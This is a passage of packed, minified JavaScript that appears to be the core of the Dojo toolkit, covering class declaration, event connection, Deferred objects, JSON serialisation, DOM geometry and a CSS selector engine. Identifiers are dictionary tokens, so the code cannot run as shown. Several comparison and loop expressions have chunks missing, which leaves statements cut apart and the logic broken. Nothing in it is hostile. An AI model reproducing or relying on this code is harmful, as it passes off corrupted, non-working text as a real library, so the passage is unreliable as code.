3k.14(2z,P||[])})}};z.6j=B(M,c3){B c4(){};c4.1C=M;A c2=S c4();if(c3){z.1x(c2,c3)}C c2};z.7X=B(pz){A Q=[L];C z.2p.14(z,Q.3U(z.4d(P)))};z.4d=B(M,ic){A Q=[];R(A x=ic||0;x3)){z.ia("z.2r: R 9P \'"+6l+"\' py pw B as \'1P\' pv pu of as a pt i3.","","1.0");A c=3j;3j=P[3]||{};3j.1P=c}A dd=P.2O,4V=L;if(z.2l(4p)){4V=4p;4p=4V.3a()}if(4V){R(A i=0,m;i<4V.G;i++){m=4V[i];if(!m){2m("ps #"+i+" 4F pr of "+6l+" is L. pq\'s pp a po pl is 3O 6m.")}4p=dd.6j(4p,m)}}A i9=(3j||0).1P,6k=dd.6j(4p),fn;R(A i in 3j){if(z.1Y(fn=3j[i])&&(!0[i])){fn.i4=i}}z.4M(6k,{4o:6l,bY:i9,bZ:L},3j||0);6k.1C.1P=6k;C z.88(6l,6k)};z.1x(z.2r,{6j:B(c0,i8){A bp=(c0||0).1C,mp=(i8||0).1C;A 2S=z.2r.i7();z.1x(2S,{84:bp,1x:mp});if(c0){2S.1C=z.6j(bp)}z.4M(2S,z.2r.i6,mp||0,{bY:L});2S.1C.1P=2S;2S.1C.4o=(bp||0).4o+"pk"+(mp||0).4o;z.88(2S.1C.4o,2S);C 2S},i7:B(){C B(){D.i5(P)}},i6:{i5:B(86){A c=86.2O,s=c.84,ct=s&&s.1P,m=c.1x,87=m&&m.1P,a=86,ii,fn;if(a[0]){if((fn=a[0]["bZ"])){a=fn.14(D,a)||a}}if(fn=c.1C.bZ){a=fn.14(D,a)||a}if(ct&&ct.14){ct.14(D,a)}if(87&&87.14){87.14(D,a)}if(ii=c.1C.bY){ii.14(D,86)}},bX:B(85){A c=D.1P,p,m;1s(c){p=c.84;m=c.1x;if(m==85||(m 1N 85.1P)){C p}if(m&&(m=m.bX(85))){C m}c=p&&p.1P}},6h:B(83,82,bW,6i){A p=bW,c,m,f;do{c=p.1P;m=c.1x;if(m&&(m=D.6h(83,82,m,6i))){C m}if((f=p[83])&&(6i==(f==82))){C p}p=c.84}1s(p);C!6i&&(p=D.bX(bW))&&D.6h(83,82,p,6i)},bU:B(2R,4U,bV){A a=P;if(!z.1R(a[0])){bV=4U;4U=2R;2R=4U.2O.i4}A c=4U.2O,p=D.1P.1C,a=bV||4U,fn,mp;if(D[2R]!=c||p[2R]==c){mp=D.6h(2R,c,p,K);if(!mp){2m(D.4o+": 1p i3 (\\""+2R+"\\") 4F bU pj 1f 2O (2r.js)")}p=D.6h(2R,c,mp,U)}fn=p&&p[2R];if(!fn){1z.1K(mp.4o+": no bU \\""+2R+"\\" ph pg (2r.js)");C}C fn.14(D,a)}}})}if(!z.1h["z.X.2c"]){z.1h["z.X.2c"]=K;z.1Q("z.X.2c");z.3i={i2:B(){C B(){A ap=4e.1C,c=P.2O,ls=c.2b,t=c.5V;A r=t&&t.14(D,P);R(A i in ls){if(!(i in ap)){ls[i].14(D,P)}}C r}},2P:B(6g,bT,i1){6g=6g||z.1W;A f=6g[bT];if(!f||!f.2b){A d=z.3i.i2();d.5V=f;d.2b=[];f=6g[bT]=d}C f.2b.Y(i1)},3J:B(i0,hZ,bS){A f=(i0||z.1W)[hZ];if(f&&f.2b&&bS--){63 f.2b[bS]}}};z.2c=B(M,pd,pc,pa,p9){A a=P,F=[],i=0;F.Y(z.1R(a[0])?L:a[i++],a[i++]);A a1=a[i+1];F.Y(z.1R(a1)||z.1Y(a1)?a[i++]:L,a[i++]);R(A l=a.G;i2){6e=z.7X(6e,P,2)}C D.5k(6e,6e)},ef:B(cb,4T){A 7Y=z.2p(cb,4T);if(P.G>2){7Y=z.7X(7Y,P,2)}C D.5k(7Y,L)},ed:B(cb,4T){A 7W=z.2p(cb,4T);if(P.G>2){7W=z.7X(7W,P,2)}C D.5k(L,7W)},5k:B(cb,eb){D.bM.Y([cb,eb]);if(D.2y>=0){D.7U()}C D},7U:B(){A bL=D.bM;A 4n=D.2y;A 1v=D.4R[4n];A 4S=D;A cb=L;1s((bL.G>0)&&(D.3M==0)){A f=bL.3a()[4n];if(!f){6c}1u{1v=f(1v);4n=((1v 1N 1O)?1:0);if(1v 1N z.30){cb=B(1v){4S.7V(1v);4S.3M--;if((4S.3M==0)&&(4S.2y>=0)){4S.7U()}};D.3M++}}1y(1G){1z.1K(1G);4n=1;1v=1G}}D.2y=4n;D.4R[4n]=1v;if((cb)&&(D.3M)){1v.9e(cb)}}})}if(!z.1h["z.X.2e"]){z.1h["z.X.2e"]=K;z.1Q("z.X.2e");z.5m=B(2e){1u{C 3u("("+2e+")")}1y(e){1z.1K(e);C 2e}};z.bK=B(2H){C("\\""+2H.2f(/(["\\\\])/g,"\\\\$1")+"\\"").2f(/[\\f]/g,"\\\\f").2f(/[\\b]/g,"\\\\b").2f(/[\\n]/g,"\\\\n").2f(/[\\t]/g,"\\\\t").2f(/[\\r]/g,"\\\\r")};z.hM="\\t";z.eq=B(it,4l,4P){4P=4P||"";A 4k=(4l?4P+z.hM:"");A 6b=(4l?"\\n":"");A 4Q=V(it);if(4Q=="1k"){C"1k"}I{if((4Q=="4J")||(4Q=="p1")){C it+""}I{if(it===L){C"L"}}}if(4Q=="3c"){C z.bK(it)}A 6d=P.2O;A 4m;if(V it.hL=="B"){4m=it.hL();if(it!==4m){C 6d(4m,4l,4k)}}if(V it.2e=="B"){4m=it.2e();if(it!==4m){C 6d(4m,4l,4k)}}if(z.2l(it)){A 1v=[];R(A i=0;i>=7R;t[x]=7R==4?17*c:c});t.a=1;C t};z.7P=B(a,M){A t=M||S z.1J();t.bz(2V(a[0]),2V(a[1]),2V(a[2]),2V(a[3]));if(2L(t.a)){t.a=1}C t.7Q()};z.hq=B(2H,M){A a=z.1J.hp[2H];C a&&z.7P(a,M)||z.ho(2H,M)||z.hn(2H,M)}}if(!z.1h["z.X"]){z.1h["z.X"]=K;z.1Q("z.X")}if(!z.1h["z.X.5Z"]){z.1h["z.X.5Z"]=K;z.1Q("z.X.5Z");(B(){A 1j=z.b2={2P:B(E,68,fp){if(!E){C}68=1j.4O(68);fp=1j.7G(68,fp);E.66(68,fp,U);C fp},3J:B(E,hm,hl){(E)&&(E.oF(1j.4O(hm),hl,U))},4O:B(1p){C(1p.2w(0,2)=="on"?1p.2w(2):1p)},7G:B(1p,fp){C(1p!="4b"?fp:B(e){C fp.2d(D,1j.4i(e,D))})},4i:B(H,oE){4w(H.Z){2X"4b":1j.7K(H);3f}C H},7K:B(H){H.oD=(H.3h?67.oC(H.3h):"")}};z.oB=B(H,hk){C 1j.4i(H,hk)};z.gY=B(H){H.7J();H.7I()};A 7O=z.3i;z.by=B(M,bx,hh,hg,hi){A hj=M&&(M.2t||M.oA||M.66);A bw=!hj?0:(!hi?1:2),l=[z.3i,1j,7O][bw];A h=l.2P(M,bx,z.2p(hh,hg));C[M,bx,h,bw]};z.bv=B(M,he,hd,hf){([z.3i,1j,7O][hf]).3J(M,he,hd)};z.5W={oz:8,gV:9,oy:12,ox:13,ow:16,ov:17,ou:18,gG:19,ot:20,os:27,or:32,b5:33,b4:34,gE:35,gF:36,b7:37,b9:38,b6:39,b8:40,gD:45,8S:46,oq:47,oo:91,om:92,ol:93,oj:96,oi:97,oh:98,og:99,oe:6D,od:oc,ob:oa,o9:o8,o7:o6,o5:o4,o3:bi,o2:o1,o0:nZ,nY:nX,nW:nV,nU:bk,gS:nT,gR:nS,gQ:nR,gP:nQ,gO:nP,gN:nO,gM:nN,gL:nM,gK:nL,gJ:nK,gI:nJ,gH:nI,nH:nG,nF:nE,nD:nC,gB:nB,gC:nA};if(z.1l){bf=B(e,5h){1u{C(e.3I=5h)}1y(e){C 0}};A 61=z.3i;if(!1o.nz){7O=61=z.gy={b3:[],2P:B(64,bu,hc){64=64||z.1W;A f=64[bu];if(!f||!f.2b){A d=z.gz();d.5V=f&&(7M.Y(f)-1);d.2b=[];f=64[bu]=d}C f.2b.Y(7M.Y(hc)-1)},3J:B(hb,ha,7N){A f=(hb||z.1W)[ha],l=f&&f.2b;if(f&&l&&7N--){63 7M[l[7N]];63 l[7N]}}};A 7M=61.b3}z.1x(1j,{2P:B(E,62,fp){if(!E){C}62=1j.4O(62);if(62=="h3"){A kd=E.bs;if(!kd||!kd.2b||!kd.h9){1j.2P(E,"bs",1j.h4);E.bs.h9=K}}C 61.2P(E,62,1j.7G(fp))},3J:B(E,h8,h7){61.3J(E,1j.4O(h8),h7)},4O:B(7L){C(7L.2w(0,2)!="on"?"on"+7L:7L)},ny:B(){},4i:B(H,4N){if(!H){A w=(4N)&&((4N.aD||4N.1q||4N).nx)||26;H=w.5Z}if(!H){C(H)}H.5V=H.br;H.bh=(4N||H.br);H.nw=H.nv;H.nu=H.nr;A bq=H.br,1e=(bq&&bq.aD)||1q;A bn=((z.1l<6)||(1e["aX"]=="aW"))?1e.3E:1e.5K;A bm=z.aB();H.nq=H.np+z.aH(bn.5I||0)-bm.x;H.nn=H.nm+(bn.5G||0)-bm.y;if(H.Z=="fk"){H.h6=H.nl}if(H.Z=="fj"){H.h6=H.nk}H.7I=1j.bc;H.7J=1j.ba;C 1j.h5(H)},h5:B(H){4w(H.Z){2X"4b":A c=("3h"in H?H.3h:H.3I);if(c==10){c=0;H.3I=13}I{if(c==13||c==27){c=0}I{if(c==3){c=99}}}H.3h=c;1j.7K(H);3f}C H},gZ:{bi:42,bk:47,h2:59,nj:43,ni:44,nh:45,ng:46,nf:47,60:96,h1:91,nb:92,na:93,h0:39},h4:B(H){A kp=H.bh.h3;if(!kp||!kp.2b){C}A k=H.3I;A bj=(k!=13)&&(k!=32)&&(k!=27)&&(k<48||k>90)&&(k<96||k>bk)&&(k60)&&(kh0);if(bj||H.5Y){A c=(bj?0:k);if(H.5Y){if(k==3||k==13){C}I{if(c>95&&c=65&&c<=90)){c+=32}I{c=1j.gZ[c]||c}}}}A 2x=1j.7H(H,{Z:"4b",2x:K,3h:c});kp.2d(H.bh,2x);H.bg=2x.bg;H.bd=2x.bd;bf(H,2x.3I)}},bc:B(){D.bg=K},ba:B(){D.n9=D.3I;if(D.5Y){bf(D,0)}D.bd=U}});z.gY=B(H){H=H||26.5Z;1j.bc.2d(H);1j.ba.2d(H)}}1j.7H=B(H,gX){A 2x=z.1x({},H,gX);1j.7K(2x);2x.7J=B(){H.7J()};2x.7I=B(){H.7I()};C 2x};if(z.2M){z.1x(1j,{4i:B(H,n8){4w(H.Z){2X"4b":A c=H.n7;if(c==3){c=99}c=((c<41)&&(!H.5X)?0:c);if((H.5Y)&&(!H.5X)&&(c>=65)&&(c<=90)){c+=32}C 1j.7H(H,{3h:c})}C H}})}if(z.3o){z.1x(1j,{4i:B(H,n6){4w(H.Z){2X"4b":A c=H.3h,s=H.5X,k=H.3I;k=k||gA[H.gW]||0;if(H.gW=="n5"){c=0}I{if((H.5Y)&&(c>0)&&(c<27)){c+=96}I{if(c==z.5W.gU){c=z.5W.gV;s=K}I{c=(c>=32&&c gh",E).1n(B(i){i.1c.7E=i.1c.7E.2f(/gk:[^;]*;/i,"")})}}I{A o="mh(mg="+(7D*6D)+")";E.1c.3T=o}if(E.gj.1M()=="gi"){z.1r("> gh",E).1n(B(i){i.1c.3T=o})}C 7D}:B(E,gg){C E.1c.2W=gg});A 5Q={3n:K,58:K,2g:K,5J:K};A gd=B(E,Z,5P){Z=Z.1M();if(5Q[Z]===K){C z.4g(E,5P)}I{if(5Q[Z]===U){C 5P}I{if((Z.T("mf")>=0)||(Z.T("md")>=0)||(Z.T("3n")>=0)||(Z.T("58")>=0)||(Z.T("5q")>=0)||(Z.T("mc")>=0)||(Z.T("ma")>=0)){5Q[Z]=K;C z.4g(E,5P)}I{5Q[Z]=U;C 5P}}}};z.1c=B(E,5O,aT){A n=z.1D(E),F=P.G,op=(5O=="2W");if(F==3){C op?z.gf(n,aT):n.1c[5O]=aT}if(F==2&&op){C z.ge(n)}A s=z.3F(n);C(F==1)?s:gd(n,5O,s[5O])};z.7A=B(n,gc){A s=gc||1E(n),px=z.4g,l=px(n,s.m9),t=px(n,s.m8);C{l:l,t:t,w:l+px(n,s.m7),h:t+px(n,s.m6)}};z.5N=B(n,gb){A ne="7C",px=z.4g,s=gb||1E(n),bl=(s.m5!=ne?px(n,s.m4):0),bt=(s.m3!=ne?px(n,s.m2):0);C{l:bl,t:bt,w:bl+(s.m1!=ne?px(n,s.m0):0),h:bt+(s.lZ!=ne?px(n,s.lY):0)}};z.aN=B(n,ga){A s=ga||1E(n),p=z.7A(n,s),b=z.5N(n,s);C{l:p.l+b.l,t:p.t+b.t,w:p.w+b.w,h:p.h+b.h}};z.aM=B(n,g9){A s=g9||1E(n),px=z.4g,l=px(n,s.lX),t=px(n,s.lW),r=px(n,s.lV),b=px(n,s.lU);if(z.3o&&(s.ax!="fU")){r=l}C{l:l,t:t,w:l+r,h:t+b}};z.au=B(E,g8){A s=g8||1E(E),me=z.aM(E,s);A l=E.fT-me.l,t=E.fS-me.t;if(z.7B){A aS=2k(s.2g),aR=2k(s.5J);if(!2L(aS)&&!2L(aR)){l=aS,t=aR}I{A p=E.1L;if(p&&p.1c){A aQ=1E(p);if(aQ.lT!="lS"){A be=z.5N(p,aQ);l+=be.l,t+=be.t}}}}I{if(z.2M){A p=E.1L;if(p){A be=z.5N(p);l-=be.l,t-=be.t}}}C{l:l,t:t,w:E.6v+me.w,h:E.8D+me.h}};z.aK=B(E,g7){A s=g7||1E(E),pe=z.7A(E,s),be=z.5N(E,s),w=E.aF,h;if(!w){w=E.6v,h=E.8D}I{h=E.lR,be.w=be.h=0}if(z.2M){pe.l+=be.l;pe.t+=be.t}C{l:pe.l,t:pe.t,w:w-pe.w-be.w,h:h-pe.h-be.h}};z.lQ=B(E,g6){A s=g6||1E(E),pe=z.7A(E,s),cb=z.aK(E,s);C{l:cb.l-pe.l,t:cb.t-pe.t,w:cb.w+pe.w,h:cb.h+pe.h}};z.aL=B(E,l,t,w,h,u){u=u||"px";4G(E.1c){if(!2L(l)){2g=l+u}if(!2L(t)){5J=t+u}if(w>=0){3n=w+u}if(h>=0){58=h+u}}};z.aO=B(E){A n=E.5w;C(z.aP=="g5-3G")||(n=="lP")||(n=="lO")};z.fX=B(E,7z,7y,g4){A bb=z.aO(E);if(bb){A pb=z.aN(E,g4);if(7z>=0){7z+=pb.w}if(7y>=0){7y+=pb.h}}z.aL(E,g3,g3,7z,7y)};z.fY=B(E,g1,g0,5M,5L,g2){A s=g2||z.3F(E);A bb=z.aO(E),pb=bb?fZ:z.aN(E,s),mb=z.aM(E,s);if(5M>=0){5M=2Y.5q(5M-pb.w-mb.w,0)}if(5L>=0){5L=2Y.5q(5L-pb.h-mb.h,0)}z.aL(E,g1,g0,5M,5L)};A fZ={l:0,t:0,w:0,h:0};z.lN=B(E,3G){A n=z.1D(E),s=1E(n),b=3G;C!b?z.au(n,s):z.fY(n,b.l,b.t,b.w,b.h,s)};z.lM=B(E,3G){A n=z.1D(E),s=1E(n),b=3G;C!b?z.aK(n,s):z.fX(n,b.w,b.h,s)};A 5H=B(E,1a){if(!(E=(E||0).1L)){C 0}A 1U,aJ=0,2h=z.3E();1s(E&&E.1c){if(1E(E).ax=="lL"){C 0}1U=E[1a];if(1U){aJ+=1U-0;if(E==2h){3f}}E=E.1L}C aJ};z.fQ=B(){A 2h=z.3E();A 3g=z.1W;A de=z.1e.5K;C{y:(3g.lK||de.5G||2h.5G||0),x:(3g.lJ||z.aH(de.5I)||2h.5I||0)}};z.aG=B(){C V z.aI=="1k"?(z.aI=z.3F(z.3E()).lI=="lH"):z.aI};z.aB=B(){A de=z.1e.5K;if(z.1l>=7){C{x:de.aC().2g,y:de.aC().5J}}I{C{x:z.aG()||26.am==26?de.fW:de.6v-de.aF-de.fW,y:de.lG}}};z.aH=B(aE){if(z.1l&&!z.aG()){A de=z.1e.5K;C aE+de.aF-de.lF}C aE};z.fP=B(E,aw){A ay=E.aD;A J={x:0,y:0};A 7w=U;A db=z.3E();if(z.1l){A aA=E.aC();A az=z.aB();J.x=aA.2g-az.x;J.y=aA.5J-az.y}I{if(ay["fV"]){A bo=ay.fV(E);J.x=bo.x-5H(E,"5I");J.y=bo.y-5H(E,"5G")}I{if(E["fR"]){7w=K;A 7x;if(z.3o&&(1E(E).ax=="fU")&&(E.1L==db)){7x=db}I{7x=db.1L}if(E.1L!=db){A nd=E;if(z.2M){nd=db}J.x-=5H(nd,"5I");J.y-=5H(nd,"5G")}A 4f=E;do{A n=4f["fT"];if(!z.2M||n>0){J.x+=2L(n)?0:n}A m=4f["fS"];J.y+=2L(m)?0:m;4f=4f.fR}1s((4f!=7x)&&4f)}I{if(E["x"]&&E["y"]){J.x+=2L(E.x)?0:E.x;J.y+=2L(E.y)?0:E.y}}}}if(7w||aw){A av=z.fQ();A m=7w?(!aw?-1:0):1;J.y+=m*av.y;J.x+=m*av.x}C J};z.af=B(E,fO){A n=z.1D(E),s=1E(n),mb=z.au(n,s);A at=z.fP(n,fO);mb.x=at.x;mb.y=at.y;C mb}})();z.fL=B(E,fN){C((" "+E.3A+" ").T(" "+fN+" ")>=0)};z.7s=B(E,ar){A 7v=E.3A;if((" "+7v+" ").T(" "+ar+" ")<0){E.3A=7v+(7v?" ":"")+ar}};z.7r=B(E,fM){A t=z.7g((" "+E.3A+" ").2f(" "+fM+" "," "));if(E.3A!=t){E.3A=t}};z.lE=B(E,aq,7u){if(V 7u=="1k"){7u=!z.fL(E,aq)}z[7u?"7s":"7r"](E,aq)}}if(!z.1h["z.X.1H"]){z.1h["z.X.1H"]=K;z.1Q("z.X.1H");(B(){A d=z;z.1H=B(){A F=P;if((F.G==1)&&(V F[0]=="4J")){D.G=eK(F[0])}I{if(F.G){d.1n(F,B(i){D.Y(i)},D)}}};z.1H.1C=S 4e;if(d.1l){A fK=B(al){C("A a2 = am."+al+"; "+"A ap = 4e.1C; "+"A ao = a2.1C; "+"R(A x in ao){ ap[x] = ao[x]; } "+"am."+al+" = 4e; ")};A fI=fK("z.1H");A aj=26.lD();aj.1q.fJ(""+fI+"");aj.lC(1,1,1,1)}z.4M(z.1H,{T:B(fH,fG){C d.T(D,fH,fG)},31:B(lB,lA){A aa=d.4d(P);aa.ae(D);C d.31.14(d,aa)},ah:B(fF,fE){C d.ah(D,fF,fE)},ag:B(fD,fC){C d.ag(D,fD,fC)},1n:B(fB,fA){d.1n(D,fB,fA);C D},23:B(7t,M){C d.23(D,7t,M,d.1H)},af:B(){C d.23(D,d.af)},1c:B(lz,ly){A aa=d.4d(P);aa.ae(D[0]);A s=d.1c.14(d,aa);C(P.G>1)?D:s},lx:B(lw,lv){A aa=d.4d(P);aa.ae(L);A s=D.23(B(i){aa[0]=i;C d.1c.14(d,aa)});C(P.G>1)?D:s},7s:B(fz){C D.1n(B(i){z.7s(i,fz)})},7r:B(fy){C D.1n(B(i){z.7r(i,fy)})},5E:B(fw,7q){A 1m=d.1r(fw)[0];7q=7q||"72";R(A x=0;x=0){if(i[x]<1d){1d=i[x]}}}C(1d<0)?ql:1d};A 6X=B(7l){A i=2I(7l);if(i[0]!=-1){C 7l.21(i[0]+1,a0(7l,1))}I{C""}};A 5r=B(7k){A 5D;A i=2I(7k);if((i[0]==0)||(i[1]==0)){5D=0}I{5D=a0(7k,0)}C((5D>0)?7k.3b(0,5D).1M():"*")};A fg=B(Q){A J=-1;R(A x=0;x=0){if((1S>J)||(J==-1)){J=1S}}}C J};A 9H=B(7i){A i=2I(7i);if(-1==i[1]){C""}A di=i[1]+1;A 7j=fg(i.2w(2));if(di<7j){C 7i.21(di,7j)}I{if(-1==7j){C 7i.3b(di)}I{C""}}};A f3=[{1i:"|=",1f:B(15,fe){C"[5z(3U(\' \',@"+15+",\' \'), \' "+fe+"-\')]"}},{1i:"~=",1f:B(15,fd){C"[5z(3U(\' \',@"+15+",\' \'), \' "+fd+" \')]"}},{1i:"^=",1f:B(15,fb){C"[li-4G(@"+15+", \'"+fb+"\')]"}},{1i:"*=",1f:B(15,fa){C"[5z(@"+15+", \'"+fa+"\')]"}},{1i:"$=",1f:B(15,9Z){C"[21(@"+15+", 3c-G(@"+15+")-"+(9Z.G-1)+")=\'"+9Z+"\']"}},{1i:"!=",1f:B(15,f9){C"[3O(@"+15+"=\'"+f9+"\')]"}},{1i:"=",1f:B(15,f8){C"[@"+15+"=\'"+f8+"\']"}}];A 9C=B(9Y,3Z,f7,f6){A 49;A i=2I(3Z);if(i[2]>=0){A 4L=3Z.T("]",i[2]);A 29=3Z.21(i[2]+1,4L);1s(29&&29.G){if(29.2s(0)=="@"){29=29.2w(1)}49=L;R(A x=0;x<9Y.G;x++){A 1S=9Y[x];A 7h=29.T(1S.1i);if(7h>=0){A 15=29.21(0,7h);A 4a=29.21(7h+1S.1i.G);if((4a.2s(0)=="\\"")||(4a.2s(0)=="\'")){4a=4a.21(1,4a.G-1)}49=1S.1f(d.7g(15),d.7g(4a));3f}}if((!49)&&(29.G)){49=f7(29)}if(49){f6(49)}29=L;A 7f=3Z.T("[",4L);if(0<=7f){4L=3Z.T("]",7f);if(0<=4L){29=3Z.21(7f+1,4L)}}}}};A f0=B(f5){A 4K=".";A 7e=f5.1A(" ");1s(7e.G){A 2K=7e.3a();A 7d;if(2K==">"){7d="/";2K=7e.3a()}I{7d="//"}A f4=5r(2K);4K+=7d+f4;A id=6X(2K);if(id.G){4K+="[@id=\'"+id+"\'][1]"}A cn=9H(2K);if(cn.G){A 9X=" ";if(cn.2s(cn.G-1)=="*"){9X="";cn=cn.3b(0,cn.G-1)}4K+="[5z(3U(\' \',@9P,\' \'), \' "+cn+9X+"\')]"}9C(f3,2K,B(f2){C"[@"+f2+"]"},B(f1){4K+=f1})}C 4K};A 7a={};A eC=B(28){if(7a[28]){C 7a[28]}A 1e=d.1e;A 9W=f0(28);A 4H=B(9V){A J=[];A 7b;1u{7b=1e.9x(9W,9V,L,lh.lg,L)}1y(e){1z.1K("lf in le:",9W,"lc:",9V);1z.1K(e)}A 7c=7b.eZ();1s(7c){J.Y(7c);7c=7b.eZ()}C J};C 7a[28]=4H};A 5x={};A 9B={};A 3y=B(79,78){if(!79){C 78}if(!78){C 79}C B(){C 79.14(26,P)&&78.14(26,P)}};A 75=B(9U,3Y,5B,2J){A 2v=2J+1;A 76=(3Y.G==2v);A 2K=3Y[2J];if(2K==">"){A 77=9U.3W;if(!77.G){C}2v++;76=(3Y.G==2v);A 4H=6O(3Y[2J+1]);R(A x=0,11;x<77.G,11=77[x];x++){if(4H(11)){if(76){5B.Y(11)}I{75(11,3Y,5B,2v)}}}}A 5C=6U(2K)(9U);if(76){1s(5C.G){5B.Y(5C.3a())}}I{1s(5C.G){75(5C.3a(),3Y,5B,2v)}}};A eE=B(9T,eY){A J=[];A x=9T.G-1,11;1s(11=9T[x--]){75(11,eY,J,0)}C J};A 6O=B(3D){if(5x[3D]){C 5x[3D]}A ff=L;A 9S=5r(3D);if(9S!="*"){ff=3y(ff,B(N){C((N.2t==1)&&(9S==N.5w.1M()))})}A 9R=6X(3D);if(9R.G){ff=3y(ff,B(N){C((N.2t==1)&&(N.id==9R))})}if(2Y.5q.14(D,2I(3D).2w(1))>=0){ff=3y(ff,9z(3D))}C 5x[3D]=ff};A 5y=B(E){A pn=E.1L;A 9Q=pn.3W;A 2v=-1;A 3C=pn.5A;if(!3C){C 2v}A ci=E["eW"];A cl=pn["eX"];if(((V cl=="4J")&&(cl!=9Q.G))||(V ci!="4J")){pn["eX"]=9Q.G;A 2J=1;do{if(3C===E){2v=2J}if(3C.2t==1){3C["eW"]=2J;2J++}3C=3C.71}1s(3C)}I{2v=ci}C 2v};A lb=0;A 3X=B(N,15){A 74="";if(15=="9P"){C N.3A||74}if(15=="R"){C N.la||74}C N.5t(15,2)||74};A eH=[{1i:"|=",1f:B(15,9O){A eV=" "+9O+"-";C B(N){A ea=" "+(N.5t(15,2)||"");C((ea==9O)||(ea.T(eV)==0))}}},{1i:"^=",1f:B(15,eU){C B(N){C(3X(N,15).T(eU)==0)}}},{1i:"*=",1f:B(15,eT){C B(N){C(3X(N,15).T(eT)>=0)}}},{1i:"~=",1f:B(15,eS){A 9N=" "+eS+" ";C B(N){A ea=" "+3X(N,15)+" ";C(ea.T(9N)>=0)}}},{1i:"$=",1f:B(15,73){A 9N=" "+73;C B(N){A ea=" "+3X(N,15);C(ea.31(73)==(ea.G-73.G))}}},{1i:"!=",1f:B(15,eR){C B(N){C(3X(N,15)!=eR)}}},{1i:"=",1f:B(15,eQ){C B(N){C(3X(N,15)==eQ)}}}];A 9E=[{1i:"9M-9K",1f:B(1p,l9){C B(N){if(N.2t!=1){C U}A fc=N.eP;1s(fc&&(fc.2t!=1)){fc=fc.eP}C(!fc)}}},{1i:"72-9K",1f:B(1p,l8){C B(N){if(N.2t!=1){C U}A nc=N.71;1s(nc&&(nc.2t!=1)){nc=nc.71}C(!nc)}}},{1i:"l7",1f:B(1p,l6){C B(N){A cn=N.3W;A eO=N.3W.G;R(A x=eO-1;x>=0;x--){A nt=cn[x].2t;if((nt==1)||(nt==3)){C U}}C K}}},{1i:"5z",1f:B(1p,eN){C B(N){C(N.9L.T(eN)>=0)}}},{1i:"3O",1f:B(1p,eM){A eL=6O(eM);C B(N){C(!eL(N))}}},{1i:"l5-9K",1f:B(1p,2u){A pi=eK;if(2u=="l4"){C B(N){C(((5y(N))%2)==1)}}I{if((2u=="2n")||(2u=="l3")){C B(N){C((5y(N)%2)==0)}}I{if(2u.T("l2+")==0){A 70=pi(2u.3b(3));C B(N){C(N.1L.3W[70-1]===N)}}I{if((2u.T("n+")>0)&&(2u.G>3)){A 9J=2u.1A("n+",2);A eJ=pi(9J[0]);A 2J=pi(9J[1]);C B(N){C((5y(N)%eJ)==2J)}}I{if(2u.T("n")==-1){A 70=pi(2u);C B(N){C(5y(N)==70)}}}}}}}}];A 9z=B(3e){A 9I=(9B[3e]||5x[3e]);if(9I){C 9I}A ff=L;A i=2I(3e);if(i[0]>=0){A 24=5r(3e);if(24!="*"){ff=3y(ff,B(N){C(N.5w.1M()==24)})}}A 5u;A 3B=9H(3e);if(3B.G){A 9F=3B.2s(3B.G-1)=="*";if(9F){3B=3B.3b(0,3B.G-1)}A re=S 9G("(?:^|\\\\s)"+3B+(9F?".*":"")+"(?:\\\\s|$)");ff=3y(ff,B(N){C re.6Z(N.3A)})}if(i[3]>=0){A 3z=3e.3b(i[3]+1);A 9D="";A 5v=3z.T("(");A 6Y=3z.31(")");if((0<=5v)&&(0<=6Y)&&(6Y>5v)){9D=3z.21(5v+1,6Y);3z=3z.3b(0,5v)}5u=L;R(A x=0;x<9E.G;x++){A 1S=9E[x];if(1S.1i==3z){5u=1S.1f(3z,9D);3f}}if(5u){ff=3y(ff,5u)}}A eG=(d.1l)?B(5s){A eI=5s.1M();C B(N){C N[5s]||N[eI]}}:B(5s){C B(N){C(N&&N.5t&&N.l1(5s))}};9C(eH,3e,eG,B(eF){ff=3y(ff,eF)});if(!ff){ff=B(){C K}}C 9B[3e]=ff};A 6W={};A 6U=B(3d,1B){A 9A=6W[3d];if(9A){C 9A}A i=2I(3d);A id=6X(3d);if(i[0]==0){C 6W[3d]=B(1B){C[d.1D(id)]}}A 9y=9z(3d);A 5p;if(i[0]>=0){5p=B(1B){A 11=d.1D(id);if(9y(11)){C[11]}}}I{A 3V;A 24=5r(3d);if(2Y.5q.14(D,2I(3d))==-1){5p=B(1B){A J=[];A 11,x=0,3V=1B.4I(24);1s(11=3V[x++]){J.Y(11)}C J}}I{5p=B(1B){A J=[];A 11,x=0,3V=1B.4I(24);1s(11=3V[x++]){if(9y(11)){J.Y(11)}}C J}}}C 6W[3d]=5p};A l0={};A 5o={">":B(1B){A J=[];A 11,x=0,3V=1B.3W;1s(11=3V[x++]){if(11.2t==1){J.Y(11)}}C J}};A 9w=B(6V){if(0>6V.T(" ")){C 6U(6V)}A eD=B(1B){A 6S=6V.1A(" ");A 6T;if(6S[0]==">"){6T=[1B]}I{6T=6U(6S.3a())(1B)}C eE(6T,6S)};C eD};A 9v=((1q["9x"]&&!d.3o)?B(3x){A 6R=3x.1A(" ");if((1q["9x"])&&(3x.T(":")==-1)&&((K))){if(((6R.G>2)&&(3x.T(">")==-1))||(6R.G>3)||(3x.T("[")>=0)||((1==6R.G)&&(0<=3x.T(".")))){C eC(3x)}}C 9w(3x)}:9w);A ey=B(3w){if(5o[3w]){C 5o[3w]}if(0>3w.T(",")){C 5o[3w]=9v(3w)}I{A eB=3w.1A(/\\s*,\\s*/);A 4H=B(1B){A eA=0;A J=[];A 6Q;1s(6Q=eB[eA++]){J=J.3U(9v(6Q,6Q.T(" "))(1B))}C J};C 5o[3w]=4H}};A 5n=0;A ez=B(Q){A J=S d.1H();if(!Q){C J}if(Q[0]){J.Y(Q[0])}if(Q.G<2){C J}5n++;Q[0]["9u"]=5n;R(A x=1,11;11=Q[x];x++){if(Q[x]["9u"]!=5n){J.Y(11)}11["9u"]=5n}C J};d.1r=B(6P,1B){if(V 6P!="3c"){C S d.1H(6P)}if(V 1B=="3c"){1B=d.1D(1B)}C ez(ey(6P)(1B||d.1e))};d.9t=B(ex,9s){A 9r=S d.1H();A ff=(9s)?6O(9s):B(){C K};R(A x=0,11;11=ex[x];x++){if(ff(11)){9r.Y(11)}}C 9r}})()}if(!z.1h["z.X.1b"]){z.1h["z.X.1b"]=K;z.1Q("z.X.1b");z.6K=B(ew){A J={};A iq="kZ[Z!=9q][Z!=kY][Z!=et][Z!=kX][Z!=kW], kV, kU";z.1r(iq,ew).3T(B(E){C(!E.kT)}).1n(B(1m){A 3v=1m.1p;A 